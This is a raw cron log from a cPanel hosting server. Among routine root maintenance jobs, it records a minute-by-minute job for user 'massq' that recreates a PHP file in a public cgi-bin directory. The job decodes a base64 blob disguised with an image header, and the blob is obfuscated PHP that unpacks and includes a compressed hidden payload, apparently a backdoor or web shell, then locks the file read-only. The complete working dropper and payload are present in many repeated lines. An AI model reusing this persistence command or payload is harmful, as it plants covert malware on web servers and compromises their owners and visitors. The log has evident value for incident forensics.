Sep 10 12:45:01 server CROND[13472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:45:01 server CROND[13476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:45:01 server CROND[13474]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:46:01 server CROND[14304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:46:01 server CROND[14305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:46:01 server CROND[14307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:47:01 server CROND[14681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:47:01 server CROND[14682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:47:01 server CROND[14683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:48:01 server CROND[15060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:48:01 server CROND[15061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:48:01 server CROND[15062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:49:01 server CROND[15426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:49:01 server CROND[15427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:49:01 server CROND[15425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:50:01 server CROND[16075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:50:01 server CROND[16077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:50:01 server CROND[16079]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:50:01 server CROND[16084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:50:01 server CROND[16089]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:50:01 server CROND[16085]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:50:01 server CROND[16092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:50:01 server CROND[16088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:50:01 server CROND[16087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:51:01 server CROND[16924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:51:01 server CROND[16926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:51:01 server CROND[16925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:52:01 server CROND[17303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:52:01 server CROND[17304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:52:01 server CROND[17306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:53:01 server CROND[17676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:53:01 server CROND[17677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:53:01 server CROND[17678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:54:01 server CROND[18042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:54:01 server CROND[18043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:54:01 server CROND[18044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:55:01 server CROND[18512]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:55:01 server CROND[18513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:55:01 server CROND[18516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:55:01 server CROND[18520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:55:01 server CROND[18518]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:55:01 server CROND[18517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:55:01 server CROND[18515]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:56:01 server CROND[19379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:56:01 server CROND[19380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:56:01 server CROND[19381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:57:01 server CROND[19761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:57:01 server CROND[19762]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:57:01 server CROND[19763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:57:01 server CROND[19764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:58:01 server CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
